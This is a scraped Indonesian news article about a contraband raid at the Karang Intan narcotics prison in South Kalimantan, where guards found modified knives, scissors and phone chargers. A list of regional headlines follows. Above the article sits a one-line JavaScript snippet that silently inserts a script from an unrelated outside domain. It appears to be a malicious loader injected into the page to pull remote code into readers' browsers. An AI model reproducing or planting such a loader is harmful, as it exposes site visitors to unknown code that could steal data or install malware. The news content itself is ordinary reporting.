(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Barang Terlarang Masih Masuk Lapas Karang Intan, Ini Hasil Temuan Petugas


KANALKALIMANTAN.COM, MARTAPURA – Barang-barang terlarang ternyata masih bisa berada dalam lingkungan Lembaga Pemasyarakatan. Buktinya, senjata tajam (sajam) dan charger handphone ditemukan di Lembaga Pemasyarakatan (Lapas) Narkotika Kelas IIA Karang Intan, saat operasi penertiban, Kamis (4/2/2021).

Selepas apel pagi, seluruh petugas Lapas Karang Intan bergerak menuju kamar para napi. Razia digelar petugas terkait HP, pungutan liar, dan Narkoba (Halinar).

Hasilnya didapati dua bilah sajam modifikasi dari korek api yang dipasangkan dengan mata pisau, dua gunting, tiga buah terminal rakitan, dua buah charger handphone.

Barang temuan yang terlarang masuk Lapas itu kemudian langsung dimusnahkan dengan cara dibakar.

 

Kepala Lapas (Kalapas) Karang Intan Wahyu Susetyo mengatakan, Sidak Halinar rutin dilaksanakan jajaran Lapas Karang Intan.

“Dalam 1 minggu dilakukan 4 kali sidak dengan waktu yang tidak ditentukan, bisa pagi, siang maupun malam, terkadang bisa juga insidentil,” ujar Kalapas Narkotika Karang Intan.

Tujuan dari kegiatan ini guna memastikan tidak ada barang-barang terlarang beredar di dalam Lapas, karena dikhawatirkan barang-barang tersebut dapat mengganggu keamanan dan ketertiban.

Kalapas menegaskan bahwa Lapas Karang Intan tidak berdiam diri atas kasus yang melibatkan warga binaan, salah satunya dengan rajin melakukan giat penggeledahan.

“Kita tidak berdiam diri dengan berbagai kasus yang melibatkan warga binaan, khususnya dalam upaya pemberantasan narkoba, karena warga binaan itu banyak cara, cara memasukan barang terlarang dan menyembunyikan nya, jadi Kita harus rutin melakukan penggeledahan, baik yang sifatnya rutinitas maupun insidentil,” ujarnya.

Lapas Karang Intan kooperatif dan tidak menghalangi proses hukum yang melibatkan warga binaan, seperti saat BNN atau aparat penegak hukum lainnya yang menjemput warga binaan.

“Jika ditemukan barang-barang terlarang, maka yang bersangkutan akan mendapatkan register F, hak-haknya bisa dicabut, misalnya tidak mendapatkan remisi, atau jika terlalu mengkhawatirkan bisa dikirim ke Lapas lain, misalnya ke Nusa Kambangan,” tegas Wahyu. (kanalkalimantan.com/putra)

Reporter: putra
Editor : bie


Al Ghifari

Recent Posts

Sempat Sengat Pelajar Madrasah, Sarang Tawon Dalam Kelas Dievakuasi Damkar HSU

KANALKALIMANTAN.COM, AMUNTAI - Khawatir membahayakan para pelajar, sarang tawon berukuran sedang berhasil dievakuasi petugas Pemadam… Read More

31 menit ago

Peningkatan Kapasitas Anggota BPD, Ini Kata Pj Bupati HSU

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai penting peranan… Read More

37 menit ago

Dua Raperda Disahkan, Ketua DPRD: Payung Hukum yang Jelas Bagi Cagar Budaya di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Dua buah Rancangan Peraturan Daerah (Raperda) Kota Banjarbaru disahkan dalam rapat paripurna… Read More

3 jam ago

Ibu Ruli Terima Kursi Roda Bantuan Polsek Banjarbaru Utara

KANALKALIMANTAN.COM, BANJARBARU - Bentuk kepedulian terhadap masyarakat, Unit Binmas Polsek Banjarbaru Utara memberikan bantuan sebuah… Read More

5 jam ago

Ini Alasan Pemko Banjarbaru Larang Peternakan Babi Ada di Ibu Kota

KANALKALIMANTAN.COM, BANJARBARU - Aktivitas peternakan babi di Kota Banjarbaru kembali menjadi sorotan. Selain dikeluhkan atas… Read More

7 jam ago

Habisi Nyawa Sesama Sopir di Banjarmasin, ARM Ditangkap di Kandangan

KANALKALIMANTAN.COM.COM, BANJARMASIN - Kepolisian Reskrim Polsek Banjarmasin Barat dan tim gabungan berhasil menangkap ARM (21),… Read More

8 jam ago

This website uses cookies.